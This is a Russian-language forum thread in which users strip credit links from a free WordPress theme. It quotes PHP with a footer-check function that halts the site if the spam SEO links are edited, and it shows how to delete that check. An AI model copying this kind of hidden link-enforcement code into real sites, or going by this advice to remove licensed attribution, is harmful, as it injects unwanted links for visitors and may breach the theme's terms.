preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>
/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();

if(!function_exists('get_sidebars')) {
function get_sidebars()
{
wp_initialize_the_theme_load();
get_sidebar();
}
}


function mytheme_admin() {

    global $themename, $shortname, $options;

    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
   
?>
<div class="wrap">
<h2>
<?php echo $themename; ?>
Theme Options | <a href="http://newwpthemes.com/forum/" target="_blank" style="font-size: 14px;">NewWpThemes.com <strong>Support Forums</strong></a></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Leave blank any field if you don't want it to be shown/displayed.</div>
<?php $buy_theme_name = str_replace(' ', '-', strtolower(trim($themename))); ?>

<div id="buy_theme" class="updated" style="padding: 10px; margin: 10px;">You can buy this theme without footer links online at <a href="http://newwpthemes.com/buy/?theme=
<?php echo $buy_theme_name; ?>
" target="_blank">http://newwpthemes.com/buy/?theme=
<?php echo $buy_theme_name; ?>
</a></div>
<form method="post">



<?php foreach ($options as $value) {     	switch ( $value['type'] ) {			case "open":		?>

        <table width="100%" border="0" style=" padding:10px;">

       
       
<?php break;				case "close":		?>


        </table><br />
       
       
<?php break;				case "title":		?>

<table width="100%" border="0" style="padding:5px 10px;"><tr>
        <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;">
<?php echo $value['name']; ?>
</h3></td>
        </tr>
               
       
<?php break;		case 'text':		?>

       
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong>
<?php echo $value['name']; ?>
</strong></td>
            <td width="80%"><input style="width:100%;" name="
<?php echo $value['id']; ?>
" id="
<?php echo $value['id']; ?>
" type="
<?php echo $value['type']; ?>
" value="
<?php echo get_theme_settings( $value['id'] ); ?>
" /></td>
        </tr>

        <tr>
            <td><small>
<?php echo $value['desc']; ?>
</small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php 		break;				case 'textarea':		?>

       
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong>
<?php echo $value['name']; ?>
</strong></td>
            <td width="80%"><textarea name="
<?php echo $value['id']; ?>
" style="width:100%; height:140px;" type="
<?php echo $value['type']; ?>
" cols="" rows="">
<?php echo get_theme_settings( $value['id'] ); ?>
</textarea></td>
           
        </tr>

        <tr>
            <td><small>
<?php echo $value['desc']; ?>
</small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php 		break;				case 'select':		?>

        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong>
<?php echo $value['name']; ?>
</strong></td>
            <td width="80%"><select style="width:240px;" name="
<?php echo $value['id']; ?>
" id="
<?php echo $value['id']; ?>
">
<?php foreach ($value['options'] as $option) { ?>
<option
<?php if ( get_theme_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>
>
<?php echo $option; ?>
</option>
<?php } ?>
</select></td>
       </tr>
               
       <tr>
            <td><small>
<?php echo $value['desc']; ?>
</small></td>
       </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

<?php        break;            		case "checkbox":		?>

            <tr>
            <td width="20%" rowspan="2" valign="middle"><strong>
<?php echo $value['name']; ?>
</strong></td>
                <td width="80%">
<?php if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>

                        <input type="checkbox" name="
<?php echo $value['id']; ?>
" id="
<?php echo $value['id']; ?>
" value="true"
<?php echo $checked; ?>
/>
                        </td>
            </tr>
                       
            <tr>
                <td><small>
<?php echo $value['desc']; ?>
</small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
           
       
<?php 		break;	 } }?>


<!--</table>-->

<p class="submit">
<input name="save" type="submit" value="Save changes" />   
<input type="hidden" name="action" value="save" />
</p>
</form>

<?php}mytheme_admin_init();    global $pagenow;    if(isset($_GET['activated'] ) && $pagenow == "themes.php") {        wp_redirect( admin_url('themes.php?page=functions.php') );        exit();    }function wp_initialize_the_theme_load() { if (!function_exists("wp_initialize_the_theme")) { wp_initialize_the_theme_message(); die; } }add_action('admin_menu', 'mytheme_add_admin');function sidebar_ads_125(){	 global $shortname;	 $option_name = $shortname."_ads_125";	 $option = get_option($option_name);	 $values = explode("\n", $option);	 	 foreach ($values as $item) {	 	$ad = explode(',', $item);	 	$banner = trim($ad['0']);	 	$url = trim($ad['1']);	 	echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";	 }}?>

<?php if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } ?>

<?php    if(function_exists('add_custom_background')) {        add_custom_background();    }        if ( function_exists( 'register_nav_menus' ) ) {    	register_nav_menus(    		array(    		  'menu_1' => 'Menu 1',    		  'menu_2' => 'Menu 2'    		)    	);    }?>
[/spoiler]

footer.php

[spoiler] </div>
<div id="footer">
<div>Copyright &copy; <strong>
<?php bloginfo('name'); ?>
</strong> | Powered by <a href="http://wordpress.org/">WordPress</a></div>
<?php /*                     All links in the footer should remain intact.                     These links are all family friendly and will not hurt your site in any way.                     Warning! Your site may stop working if these links are edited or deleted                                         You can buy this theme without footer links online at http://newwpthemes.com/buy/?theme=post-news                 */ ?>

<div id="credits">Powered by <a href="http://wordpress.org/"><strong>WordPress</strong></a> | Designed by: <a href="http://newwpthemes.com/">New WordPress Themes</a> | Thanks to Find Free <a href="http://allpremiumthemes.com">All Premium Themes</a>, <a href="http://freewpthemes.co">Best Free WordPress Themes</a> and <a href="http://freewpthemes.co">Top WordPress Themes</a></div>
</div>
</div>
<?php	 wp_footer();	echo get_theme_option("footer")  . "\n";?>

</body>
</html>
[/spoiler]

Добавлено: 18-07-2012, 00:48:09


Нашел автора шаблона, скачал с официального сайта, там ссылки не под шифром base64.

Удалил строчку:

[spoiler]function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = 'Designed by: <a href="http://newwpthemes.com/">New WordPress Themes</a> | Thanks to Find Free <a href="http://allpremiumthemes.com">All Premium Themes</a>, <a href="http://freewpthemes.co">Best Free WordPress Themes</a> and <a href="http://freewpthemes.co">Top WordPress Themes</a>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();[/spoiler]

Потом ссылки в подвале, теперь проблема удалить надписи

Цитировать| Designed by: | Thanks to Find Free , and

Добавлено: 18-07-2012, 01:26:20


Все ссылки удалил, но осталась надпись | Designed by: |
Название: Re: Нужна помощь по удалению копирайта из шаблона
Отправлено: open-right от 18-07-2012, 05:29:02
Вместо
Цитата: hilton от 17-07-2012, 22:26:40<div id="footer2">Designed by: <a href="http://newwpthemes.com/">New WordPress Themes</a> | Thanks to <a href="http://www.bestincellphones.com">Free Cell Phones</a>, <a href="http://conveyancing.homesonsale.co.uk">conveyancing solicitors</a> and <a href="http://www.homesonsale.co.uk">Homes for sale</a></div>
пишите

<div id="footer2"></div>